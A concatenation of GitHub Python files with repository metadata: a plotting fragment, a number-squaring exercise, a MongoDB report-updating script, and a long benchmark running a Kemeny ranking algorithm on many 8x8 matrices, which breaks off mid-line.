cmn=min(colors) cmx=max(colors) xmn,xmx=min(xs),max(xs) ymn,ymx=min(ys),max(ys) zmn,zmx=min(zs),max(zs) pl.subplot(221) pl.scatter(xs,ys,c=colors,vmin=cmn,vmax=cmx,marker='+',faceted=False) pl.xlim(xmn,xmx) pl.ylim(ymn,ymx) pl.title("Z") pl.subplot(222) pl.scatter(xs,zs,c=colors,vmin=cmn,vmax=cmx,marker='+',faceted=False) pl.title("Y") pl.xlim(xmn,xmx) pl.ylim(zmn,zmx) pl.subplot(223) pl.scatter(ys,zs,c=colors,vmin=cmn,vmax=cmx,marker='+',faceted=False) pl.title("X") pl.xlim(ymn,ymx) pl.ylim(zmn,zmx) pl.subplot(224) pl.text(0,0.1,info) pl.gca().set_xticks([]) pl.gca().set_yticks([]) pl.axis('off') #pr.prshow("atomProjection.png") pl.show() pl.gca().clear()

[ "adamcadien@gmail.com" ]

adamcadien@gmail.com

8195edf8895623ef20cce4da3bd20701b61e13b8

57235522083cb011ca26aae8fdda96ee71805593

/UdemyPrograms/UserInputExcer/user_input.py

d7e4badfc059ad32cb638abf18d3e9e5c2b7428c

[]

no_license

mrparmer/Python

2fef63ecc936692ec5d99e72ac66bb931f2242c2

5d3b6b447889721481176708d4be87c86e024655

refs/heads/master

2020-03-29T01:23:42.001973

2018-10-07T02:41:51

149,386,382

0

null

UTF-8

Python

false

64

py

user_input= input("Enter a number: ") print(int(user_input)**2)

[ "37225891+mrparmer@users.noreply.github.com" ]

37225891+mrparmer@users.noreply.github.com

35ac0b974d2e672a37a882191546ee8fa07e7d3d

0cc138aa5d5316cdc35cb7ba703df30a5a981cdf

/stockcode_update.py

a1ae9af3bbe0108df8095ebcb7627e9f0f73b2ac

[]

no_license

tyronedong/AnalystReportResearch

d47e0f1199b0562fc6534e34b5fcf7c768296b6c

ab3259ba4b169a104574725036f068d93f5e16bb

refs/heads/master

2021-06-14T16:12:30.277223

2017-03-28T12:53:04

72,734,477

2

0

null

UTF-8

Python

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608

py

# -*- coding: utf-8 -*- from pymongo import * client = MongoClient('localhost', 27017) db = client.AnalystReport collection1 = db.Reports insert_coll = db.Report table_file = open('./data/id_code_table.txt') lines = table_file.readlines() dict = {} for line in lines: if(line == '\n'): continue tokens = line.split('\t') dict[tokens[0]] = tokens[1].replace('\n', '') for report in collection1.find({}): if dict.get(report["_id"]) == None: continue report["StockCode"] = dict[report["_id"]] insert_coll.insert(report) print report["_id"], report["StockCode"]

[ "noreply@github.com" ]

tyronedong.noreply@github.com

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a462a24ff937e151e8151f3a1bdc9c3714b12c0e

/2021EJOR/scripts/meprcw/meprcw_8_2001.py

293656891fc70f001ebe66c6ec8d211cdbdef93c

[]

no_license

noeliarico/kemeny

b4cbcac57203237769252de2c50ce959aa4ca50e

50819f8bf0d19fb29a0b5c6d2ee031e8a811497d

refs/heads/main

2023-03-29T14:36:37.931286

2023-03-16T09:04:12

330,797,494

0

null

UTF-8

Python

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171,087

py

import numpy as np import pandas as pd import time from kemeny import algorithms as alg rep = 1 results = np.zeros(0).reshape(0,7+rep) ############################################################## om = np.array([ [0,1006,965,883,1004,920,1012,963], [995,0,1001,982,1028,960,932,979], [1036,1000,0,924,978,987,1013,966], [1118,1019,1077,0,1004,995,995,1025], [997,973,1023,997,0,961,994,944], [1081,1041,1014,1006,1040,0,1004,969], [989,1069,988,1006,1007,997,0,992], [1038,1022,1035,976,1057,1032,1009,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 1, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1013,1019,1005,971,1046,999,1053], [988,0,988,976,970,1014,973,987], [982,1013,0,1002,1022,1035,978,1024], [996,1025,999,0,1013,1014,964,1020], [1030,1031,979,988,0,1059,1006,1019], [955,987,966,987,942,0,940,1005], [1002,1028,1023,1037,995,1061,0,1043], [948,1014,977,981,982,996,958,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 2, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1053,1044,970,997,1036,1006,1007], [948,0,1007,1031,950,994,970,957], [957,994,0,976,943,971,963,978], [1031,970,1025,0,957,991,939,1016], [1004,1051,1058,1044,0,1023,991,975], [965,1007,1030,1010,978,0,1025,967], [995,1031,1038,1062,1010,976,0,1009], [994,1044,1023,985,1026,1034,992,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 3, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,993,992,1011,1031,1027,1016,971], [1008,0,1009,1048,1034,1027,1049,998], [1009,992,0,1015,1019,988,990,998], [990,953,986,0,1034,993,1005,967], [970,967,982,967,0,978,952,952], [974,974,1013,1008,1023,0,1025,971], [985,952,1011,996,1049,976,0,1026], [1030,1003,1003,1034,1049,1030,975,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 4, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1024,983,968,1027,1015,1024,1001], [977,0,970,982,983,960,957,958], [1018,1031,0,1009,1005,1001,1007,987], [1033,1019,992,0,1036,1020,1014,976], [974,1018,996,965,0,977,972,954], [986,1041,1000,981,1024,0,987,962], [977,1044,994,987,1029,1014,0,955], [1000,1043,1014,1025,1047,1039,1046,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 5, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1016,994,1007,1003,1003,1036,999], [985,0,994,969,1001,982,1016,1018], [1007,1007,0,1000,1012,991,1065,1010], [994,1032,1001,0,1006,979,1059,1012], [998,1000,989,995,0,998,1025,1009], [998,1019,1010,1022,1003,0,1030,1007], [965,985,936,942,976,971,0,988], [1002,983,991,989,992,994,1013,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 6, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,990,1018,1000,971,963,995,956], [1011,0,1008,1011,999,974,966,985], [983,993,0,979,965,959,997,965], [1001,990,1022,0,1005,975,982,956], [1030,1002,1036,996,0,1019,1020,1008], [1038,1027,1042,1026,982,0,1017,993], [1006,1035,1004,1019,981,984,0,955], [1045,1016,1036,1045,993,1008,1046,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 7, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,998,1032,1034,972,1066,1028,987], [1003,0,1017,981,1005,1013,1015,994], [969,984,0,993,993,1053,1050,966], [967,1020,1008,0,999,1095,1009,955], [1029,996,1008,1002,0,1053,1011,1028], [935,988,948,906,948,0,1005,952], [973,986,951,992,990,996,0,980], [1014,1007,1035,1046,973,1049,1021,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 8, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,970,1024,984,1029,989,1021,1029], [1031,0,1025,1004,1016,1004,997,1023], [977,976,0,985,1021,1014,1006,1016], [1017,997,1016,0,1010,1027,1015,992], [972,985,980,991,0,964,988,996], [1012,997,987,974,1037,0,994,1006], [980,1004,995,986,1013,1007,0,985], [972,978,985,1009,1005,995,1016,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 9, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,993,999,982,941,1023,959,1002], [1008,0,1083,968,976,1044,956,993], [1002,918,0,950,981,1040,962,963], [1019,1033,1051,0,1008,1028,985,997], [1060,1025,1020,993,0,1051,1035,1033], [978,957,961,973,950,0,960,941], [1042,1045,1039,1016,966,1041,0,1010], [999,1008,1038,1004,968,1060,991,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 10, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,920,960,973,930,1051,973,974], [1081,0,1028,1017,1001,1081,984,1053], [1041,973,0,972,969,1071,967,998], [1028,984,1029,0,973,1069,1015,1021], [1071,1000,1032,1028,0,1100,979,1048], [950,920,930,932,901,0,910,958], [1028,1017,1034,986,1022,1091,0,1039], [1027,948,1003,980,953,1043,962,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 11, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1004,1040,986,994,964,1000,968], [997,0,1086,1005,1008,967,1029,1031], [961,915,0,957,977,927,933,933], [1015,996,1044,0,997,948,976,975], [1007,993,1024,1004,0,934,995,955], [1037,1034,1074,1053,1067,0,1004,974], [1001,972,1068,1025,1006,997,0,972], [1033,970,1068,1026,1046,1027,1029,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 12, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,968,961,987,1008,1043,983,1029], [1033,0,1043,1047,1023,1030,988,1058], [1040,958,0,993,963,1005,912,1031], [1014,954,1008,0,999,1035,956,1089], [993,978,1038,1002,0,1033,1014,1055], [958,971,996,966,968,0,918,1005], [1018,1013,1089,1045,987,1083,0,1104], [972,943,970,912,946,996,897,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 13, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1029,1030,1006,975,1037,983,1026], [972,0,1004,981,947,985,990,994], [971,997,0,981,978,1008,1004,1005], [995,1020,1020,0,960,1013,999,987], [1026,1054,1023,1041,0,1003,1022,986], [964,1016,993,988,998,0,997,1006], [1018,1011,997,1002,979,1004,0,1010], [975,1007,996,1014,1015,995,991,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 14, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1017,1053,1062,1025,1019,981,1042], [984,0,1030,1019,995,1001,975,999], [948,971,0,1013,957,966,920,997], [939,982,988,0,984,984,950,1033], [976,1006,1044,1017,0,1001,1003,1037], [982,1000,1035,1017,1000,0,1001,1043], [1020,1026,1081,1051,998,1000,0,1068], [959,1002,1004,968,964,958,933,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 15, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,957,1019,949,1003,975,957,982], [1044,0,998,970,1004,973,982,983], [982,1003,0,936,993,964,954,996], [1052,1031,1065,0,1034,1019,988,1013], [998,997,1008,967,0,974,1001,1017], [1026,1028,1037,982,1027,0,1024,1029], [1044,1019,1047,1013,1000,977,0,1024], [1019,1018,1005,988,984,972,977,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 16, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,999,1021,993,1003,1004,990,980], [1002,0,1030,1016,1036,1036,1001,985], [980,971,0,998,994,986,991,988], [1008,985,1003,0,983,1016,971,985], [998,965,1007,1018,0,985,982,972], [997,965,1015,985,1016,0,965,973], [1011,1000,1010,1030,1019,1036,0,1001], [1021,1016,1013,1016,1029,1028,1000,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 17, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,968,989,993,925,918,934,876], [1033,0,1019,987,982,985,1052,941], [1012,982,0,1043,1011,987,1003,1002], [1008,1014,958,0,1042,1055,974,963], [1076,1019,990,959,0,990,1001,981], [1083,1016,1014,946,1011,0,1065,952], [1067,949,998,1027,1000,936,0,945], [1125,1060,999,1038,1020,1049,1056,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 18, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,973,1003,928,947,985,984,908], [1028,0,1088,1008,1088,1032,1022,980], [998,913,0,933,985,992,949,948], [1073,993,1068,0,1029,1054,1004,1019], [1054,913,1016,972,0,979,957,941], [1016,969,1009,947,1022,0,995,944], [1017,979,1052,997,1044,1006,0,970], [1093,1021,1053,982,1060,1057,1031,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 19, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,991,1034,1009,1017,1012,974,1020], [1010,0,1008,1037,1007,1041,1041,985], [967,993,0,1008,1035,1037,991,967], [992,964,993,0,1038,1006,993,1004], [984,994,966,963,0,966,954,971], [989,960,964,995,1035,0,955,988], [1027,960,1010,1008,1047,1046,0,996], [981,1016,1034,997,1030,1013,1005,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 20, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1023,996,971,941,1005,1010,979], [978,0,974,982,973,1006,969,1024], [1005,1027,0,1020,956,1058,1055,1018], [1030,1019,981,0,1024,1017,1009,1015], [1060,1028,1045,977,0,1041,1004,1016], [996,995,943,984,960,0,1005,964], [991,1032,946,992,997,996,0,992], [1022,977,983,986,985,1037,1009,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 21, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,996,1031,1012,981,1039,1060,997], [1005,0,1011,1028,1016,1007,1102,994], [970,990,0,1001,974,1003,1046,953], [989,973,1000,0,964,1019,1053,986], [1020,985,1027,1037,0,1034,1055,1024], [962,994,998,982,967,0,1029,943], [941,899,955,948,946,972,0,920], [1004,1007,1048,1015,977,1058,1081,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 22, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1036,996,1032,1017,1061,1037,1048], [965,0,952,976,981,976,957,914], [1005,1049,0,1029,1057,1011,978,988], [969,1025,972,0,1034,1068,1036,944], [984,1020,944,967,0,1010,1004,887], [940,1025,990,933,991,0,1044,984], [964,1044,1023,965,997,957,0,997], [953,1087,1013,1057,1114,1017,1004,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 23, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,994,1008,996,1050,1039,1018,1031], [1007,0,1014,1017,976,1045,958,1015], [993,987,0,983,982,1007,1015,1020], [1005,984,1018,0,1019,1032,1000,1004], [951,1025,1019,982,0,993,1010,984], [962,956,994,969,1008,0,1001,1045], [983,1043,986,1001,991,1000,0,993], [970,986,981,997,1017,956,1008,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 24, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,988,991,1040,1039,1013,1028,1006], [1013,0,989,1017,1057,953,1028,1009], [1010,1012,0,1018,1042,968,1004,1011], [961,984,983,0,1008,935,1015,1001], [962,944,959,993,0,959,955,993], [988,1048,1033,1066,1042,0,1043,1045], [973,973,997,986,1046,958,0,989], [995,992,990,1000,1008,956,1012,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 25, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,990,960,998,996,978,969,991], [1011,0,1011,996,1006,1018,986,986], [1041,990,0,999,1047,1048,1001,1015], [1003,1005,1002,0,1067,1046,992,1018], [1005,995,954,934,0,965,994,966], [1023,983,953,955,1036,0,989,978], [1032,1015,1000,1009,1007,1012,0,1005], [1010,1015,986,983,1035,1023,996,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 26, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,993,984,1022,1034,1002,1022,1031], [1008,0,981,1015,1009,956,972,981], [1017,1020,0,1052,1013,977,1015,1035], [979,986,949,0,1032,944,968,1016], [967,992,988,969,0,960,965,998], [999,1045,1024,1057,1041,0,1000,1030], [979,1029,986,1033,1036,1001,0,1017], [970,1020,966,985,1003,971,984,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 27, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1008,1002,1020,952,1018,1016,1024], [993,0,1055,1031,979,1003,1079,1085], [999,946,0,1031,1021,1010,1038,1016], [981,970,970,0,942,1016,1025,989], [1049,1022,980,1059,0,1065,1091,1077], [983,998,991,985,936,0,1022,1015], [985,922,963,976,910,979,0,975], [977,916,985,1012,924,986,1026,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 28, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1020,1015,1034,1012,1052,1016,1000], [981,0,1028,970,1030,1026,970,940], [986,973,0,917,1009,1006,931,934], [967,1031,1084,0,1036,1012,1011,981], [989,971,992,965,0,998,987,1004], [949,975,995,989,1003,0,993,952], [985,1031,1070,990,1014,1008,0,1000], [1001,1061,1067,1020,997,1049,1001,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 29, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,991,1000,1005,1016,1004,1001,1030], [1010,0,1010,979,1050,1001,987,977], [1001,991,0,966,1003,983,977,983], [996,1022,1035,0,1027,1024,1005,1005], [985,951,998,974,0,981,976,988], [997,1000,1018,977,1020,0,992,1006], [1000,1014,1024,996,1025,1009,0,1008], [971,1024,1018,996,1013,995,993,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 30, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,956,977,1009,974,904,1032,925], [1045,0,953,1023,1006,900,946,963], [1024,1048,0,1045,1075,976,1024,962], [992,978,956,0,1000,954,989,961], [1027,995,926,1001,0,1005,1017,949], [1097,1101,1025,1047,996,0,1011,1019], [969,1055,977,1012,984,990,0,989], [1076,1038,1039,1040,1052,982,1012,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 31, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1038,1047,1057,1021,1020,998,988], [963,0,1021,1014,978,998,984,1014], [954,980,0,983,984,981,987,994], [944,987,1018,0,1015,981,1018,979], [980,1023,1017,986,0,991,1028,1003], [981,1003,1020,1020,1010,0,991,959], [1003,1017,1014,983,973,1010,0,984], [1013,987,1007,1022,998,1042,1017,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 32, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1006,996,997,991,1036,996,1022], [995,0,983,1011,995,1045,998,1023], [1005,1018,0,995,1004,1063,985,1040], [1004,990,1006,0,998,1040,1012,993], [1010,1006,997,1003,0,1057,993,1019], [965,956,938,961,944,0,959,971], [1005,1003,1016,989,1008,1042,0,1005], [979,978,961,1008,982,1030,996,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 33, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,923,1051,1063,999,999,1086,1045], [1078,0,1144,1141,981,1004,1126,1112], [950,857,0,1000,884,941,1083,918], [938,860,1001,0,974,975,1136,1004], [1002,1020,1117,1027,0,926,1093,1079], [1002,997,1060,1026,1075,0,1101,1011], [915,875,918,865,908,900,0,946], [956,889,1083,997,922,990,1055,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 34, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1042,1024,997,964,931,932,1027], [959,0,986,959,936,940,925,998], [977,1015,0,982,957,959,967,971], [1004,1042,1019,0,984,953,1006,1035], [1037,1065,1044,1017,0,1004,993,1031], [1070,1061,1042,1048,997,0,1032,1088], [1069,1076,1034,995,1008,969,0,1012], [974,1003,1030,966,970,913,989,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 35, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1058,979,1075,986,961,1017,1048], [943,0,949,967,958,953,971,982], [1022,1052,0,1081,981,1022,974,1029], [926,1034,920,0,945,942,915,929], [1015,1043,1020,1056,0,966,1032,1015], [1040,1048,979,1059,1035,0,1063,970], [984,1030,1027,1086,969,938,0,1009], [953,1019,972,1072,986,1031,992,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, 